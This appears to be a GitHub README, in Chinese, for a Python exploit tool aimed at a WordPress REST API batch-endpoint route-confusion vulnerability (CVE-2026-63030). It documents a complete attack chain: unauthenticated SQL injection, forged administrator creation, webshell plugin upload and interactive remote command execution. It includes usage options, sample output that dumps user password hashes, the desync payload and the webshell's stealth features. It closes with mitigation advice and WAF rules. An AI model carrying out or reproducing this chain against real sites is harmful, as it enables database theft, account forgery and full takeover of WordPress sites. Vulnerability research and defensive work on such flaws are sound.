Ch4120N/CVE-2026-63030

GitHub: Ch4120N/CVE-2026-63030

针对 WordPress REST API 批处理端点路由混淆漏洞(CVE-2026-63030)的 Python PoC 利用工具,支持从漏洞检测到远程代码执行的完整攻击链。

Stars: 1 | Forks: 0

# CVE-2026-63030 [![CVE](https://img.shields.io/badge/CVE-2026--63030-critical-red.svg)](https://cve.mitre.org/) [![Python](https://img.shields.io/badge/Python-3.8+-blue.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/License-MIT-green.svg)](LICENSE) [![Status](https://img.shields.io/badge/Status-Active%200--Day-orange.svg)]() ## ⚠️ 法律免责声明 **本仓库及附带的工具(`exploit.py`)仅严格用于教育目的、授权的渗透测试和安全研究。** 未经明确、事先的书面同意,对目标使用此漏洞利用程序是非法的,并且违反了全球的计算机欺诈和滥用法。作者(**Ch4120N**)对因使用此代码而产生的任何滥用、损害或法律后果绝对不承担任何责任。请始终在法律范围内操作并获取适当的授权。 ## 📖 漏洞概述:CVE-2026-63030 **CVE-2026-63030** 是一个严重的未授权漏洞,影响 WordPress REST API。它利用了嵌套批处理端点(`/wp-json/batch/v1` 或 `/?rest_route=/batch/v1`)中的**路由混淆漏洞**。 ### 根本原因 当 WordPress 处理一批 REST API 请求时,它会在执行前根据特定的 schema 验证每个子请求。然而,由于内部路由指针处理故意格式错误的路径(例如,`///`)的方式存在缺陷,验证 schema 与实际的执行 handler 产生了不同步。 ### 攻击链 1. **路由混淆与 SQLi:** 攻击者注入一个嵌套的 batch payload。这种不同步导致针对 `/wp/v2/users` 端点(不接受 `author_exclude`)的请求被 `/wp/v2/posts` handler 执行。未经清理的 `author_exclude` 参数被直接传递到 `WP_Query` 的 `author__not_in` 子句中,导致**未授权 SQL Injection**。 2. **Pre-Auth 管理员创建:** 使用 SQLi 读取数据库并识别 `oembed_cache` 文章 ID。然后,漏洞利用程序使用 Customizer `changeset` payload 污染导航菜单缓存,诱骗 WordPress 在现有管理员的上下文中执行用户创建请求。 3. **远程代码执行 (RCE):** 利用新伪造的管理员账号,该工具进行身份验证,上传一个随机的、基于 token 验证的 PHP webshell 插件,执行 OS 命令,并安全地清理所有痕迹。 ### 受影响版本 * WordPress **6.9.0** 至 **6.9.4** * WordPress **7.0.0** 至 **7.0.1** *(注意:根据特定的插件配置和 REST API 的向后移植情况,旧版本可能也会受到攻击)。* ## 🚀 功能特点 * **零依赖:** 100% Python 3 标准库。无需 `pip install`。 * **单文件模块化:** 所有组件(Client、SQLi、Exploit、Shell、CLI)都整齐地组织在一个可移植的脚本(`exploit.py`)中。 * **多重 SQL 提取技术:** 自动回退到最快可用的方法: 1. **基于 UNION:** 通过伪造一个假的 `WP_Post` 行进行带内提取(每个值 1 个请求)。 2. **基于报错:** 如果启用了 `WP_DEBUG_DISPLAY`,则利用 `EXTRACTVALUE()` XPATH 错误。 3. **盲注布尔/时间:** 具有可配置 sleep 延迟的二分法字符提取。 * **自动化 Pre-Auth 桥接:** 无需现有凭据;该工具会即时创建自己的管理员账号。 * **临时 Webshell:** 生成唯一的插件 slug 和加密安全的 token。如果没有 token,shell 将拒绝执行,并在使用后自动销毁。 * **自动清理:** 退出时自动删除伪造的管理员账号并移除 webshell 插件目录。 * **交互式 REPL:** 提供一个维护远程工作目录状态的伪终端(支持 `cd`)。 ## 📦 安装与要求 不需要第三方包。请确保您安装了 **Python 3.8 或更高版本**。 ``` # Clone 仓库 git clone https://github.com/Ch4120N/CVE-2026-63030.git cd CVE-2026-63030 # 使 script 可执行 chmod +x exploit.py # 验证 Python 版本 python3 --version # 执行 script python3 exploit.py ``` ## 💻 详细用法与选项 该漏洞利用程序分为三个主要的子命令:`check`、`read` 和 `shell`。 ### 全局选项 这些选项适用于所有子命令: | 选项 | 描述 | 默认值 | | :--- | :--- | :--- | | `url` | 目标基础 URL(例如,`http://target.com`) | *必填* | | `--rest-route` | 使用 `/?rest_route=/batch/v1` 代替 `/wp-json/batch/v1`(适用于禁用了固定链接的网站)。 | `False` | | `--timeout` | HTTP 请求超时时间(秒)。 | `30.0` | | `--proxy` | HTTP/HTTPS 代理(例如,`http://127.0.0.1:8080`)。 | `None` | ### 1. `check` - 漏洞检测 安全地探测目标以确认是否存在路由混淆标记,并测试 SQLi 时间而不提取数据。 | 选项 | 描述 | 默认值 | | :--- | :--- | :--- | | `--sleep` | `--confirm-sqli` 回退使用的 SQL 时间延迟(秒)。 | `3.0` | | `--samples` | 要测试的基线/延迟 SQL 时间对的数量。 | `3` | | `--confirm-sqli` | 发送主动的 SQLi 确认 payload(会增加轻微延迟)。 | `False` | ### 2. `read` - 数据库提取 通过 SQL injection 直接从数据库中提取数据。 | 选项 | 描述 | 默认值 | | :--- | :--- | :--- | | `--preset` | 快速提取预设:`fingerprint`(版本/用户/数据库)或 `users`(登录名/哈希值)。 | `fingerprint` | | `--query` | 执行自定义的标量 SQL 表达式(例如,`"SELECT @@version"`)。 | `None` | | `--prefix` | 数据库表前缀。 | `wp_` | | `--max-length` | 每个值提取的最大字符数。 | `128` | | `--technique` | 提取技术:`auto`、`union`、`error` 或 `blind`。 | `auto` | ### 3. `shell` - 远程代码执行 部署 webshell 并执行命令。如果未提供凭据,它将自动触发 pre-auth 管理员创建桥接。 | 选项 | 描述 | 默认值 | | :--- | :--- | :--- | | `--user` | 管理员用户名。(省略以使用 pre-auth 桥接)。 | `None` | | `--password` | 管理员密码。(省略以使用 pre-auth 桥接)。 | `None` | | `--cmd` | 在目标上运行的单个命令。 | `None` | | `-i`, `--interactive`| 部署后打开一个交互式 shell (REPL)。 | `False` | ## 🖥️ 执行证据与示例 以下是该工具实际操作的示例。 ### 示例 1:检查漏洞 ``` $ python3 exploit.py check http://vulnerable-wordpress.local --confirm-sqli [*] WordPress markers found (wp-content / wp-includes / wp-json) [*] Public WordPress version hints: - 6.9.2 via REST API generator (exploit affected range) - WordPress 6.9.2 [!] A public version hint falls in the exploit affected range; verify internally or confirm with authorization. [*] Batch probe -> HTTP 207; markers matched: parse_path_failed, block_cannot_read, rest_batch_not_allowed [+] VULNERABLE — batch route-confusion behavior detected. [*] Sending active SQLi confirmation payload... [+] SQLi confirmed — UNION fake-post read returned data. ``` ### 示例 2:提取数据库指纹 ``` $ python3 exploit.py read http://vulnerable-wordpress.local --preset fingerprint --technique union [+] UNION extraction available (in-band, one request per value) — using it. [+] MySQL version: 10.6.12-MariaDB-0ubuntu0.22.04.1 [+] Database user: wp_user@localhost [+] Database name: wordpress_db [*] 3 request(s) sent. ``` ### 示例 3:导出用户凭据 ``` $ python3 exploit.py read http://vulnerable-wordpress.local --preset users --prefix wp_ [+] UNION extraction available (in-band, one request per value) — using it. [*] 3 user(s) in wp_users. 1|admin|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZ 2|editor|$P$B9zX8vT2mK5jL8nP3rY7wE1cV0xZq 5|subscriber|$P$Bx8vT9qZ2mK5jL8nP3rY7wE1cV0xZqZ [*] 15 request(s) sent. ``` ### 示例 4:获取交互式 Shell(Pre-Auth) *请注意该工具是如何自动创建管理员账号、部署 shell 并在退出后进行清理的。* ``` $ python3 exploit.py shell http://vulnerable-wordpress.local --interactive [!] This uploads a plugin containing a webshell to the target. [!] No credentials supplied; attempting pre-auth administrator creation. [*] Creating administrator through the SQLi-to-customizer bridge... Extracting table name... Finding source admin ID... Seeding oEmbed cache... Forging changeset payload... [+] Administrator created: wp2_a8f3b2c1 [*] Authenticating as 'wp_a8f3b2c1'... [+] Authenticated. [*] Deploying webshell plugin... [+] Webshell: http://vulnerable-wordpress.local/wp-content/plugins/wp_9f8e7d6c/wp_9f8e7d6c.php [*] Interactive shell — type commands, 'exit' or Ctrl-D to quit. /var/www/html $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) /var/www/html $ cd /tmp /tmp $ cat flag.txt FLAG{r0ut3_c0nfus10n_1s_d4ng3r0us} /tmp $ exit [*] Deleting generated administrator... [+] Generated administrator removed from the target. [*] Cleaning up webshell... [+] Webshell removed from the target. ``` ## 🧠 技术深入剖析 ### 不同步启动器 (Desync Primer) 漏洞利用的核心在于注入 `_DESYNC_PRIMER = {"method": "POST", "path": "///"}`。这个无效的 URL 强制 WordPress 的内部路由为第一个子请求生成一个 `WP_Error`。这改变了内部指针的指向,导致*第二个*子请求针对某一个 schema 进行验证,但却由*第三个*子请求的 handler 执行。这就将 `author_exclude` 参数走私到了 `WP_Query` 中。 ### UNION 伪造文章 原语 为了避免缓慢的盲注 SQLi,该工具使用 `UNION SELECT` 来注入一个完整的、伪造的 `wp_posts` 行。通过设置 `orderby=none` 和 `per_page=500`,它可以防止 `WP_Query` 拆分查询。注入的 `post_title` 包含了目标 SQL 表达式的十六进制编码结果,并用 `||` 分隔符包裹,然后直接反映在 REST API JSON 响应中。 ### Webshell OpSec 部署的 PHP 插件旨在实现极高的隐蔽性: * 随机化的目录和文件名(例如,`wp_a1b2c3d4.php`)。 * 需要通过 GET 参数传递 32 个字符的十六进制 token (`t`) 和命令 (`c`)。 * 使用 `hash_equals()` 来防止对 token 的时序攻击。 * 自动更改目录 (`chdir`) 以防止路径泄露。 * 输出被包裹在 `EXPLOIT::...::END` 标记中,以便 Python client 进行干净的解析。 ## 🛡️ 缓解与修复 1. **更新 WordPress**:立即升级到 WordPress **7.0.2** 或更高版本,其中包含针对 CVE-2026-63030 的补丁。 2. **禁用批处理端点**:如果不需要明确使用批处理端点,请通过必须使用的插件(`mu-plugins`)禁用它: add_filter( 'rest_request_before_callbacks', function( $response, $handler, $request ) { if ( $request->get_route() === '/batch/v1' ) { return new WP_Error( 'rest_disabled', 'Batch endpoint disabled', array( 'status' => 403 ) ); } return $response; }, 10, 3 ); 3. **Web Application Firewall (WAF)**:实施规则以阻止: * URI 中包含 `author_exclude` 的嵌套 `/batch/v1` 请求。 * URL 参数中包含 `UNION`、`SLEEP()` 或 `EXTRACTVALUE` 的请求。 * REST API 请求中类似 `///` 的格式错误路径。 4. **禁用 WP_DEBUG_DISPLAY**:确保在 `wp-config.php` 中将 `WP_DEBUG_DISPLAY` 设置为 `false`,以防止基于报错的 SQLi 泄露。 ## 📜 鸣谢与致谢 * **漏洞研究与利用程序开发**:[**Ch4120N**](https://github.com/Ch4120N) * **概念灵感**:WordPress REST API 路由混淆、oembed_cache 污染以及 Customizer changeset 原语。
标签:CISA项目, PoC, Python, WordPress, 无后门, 暴力破解, 网络安全, 隐私保护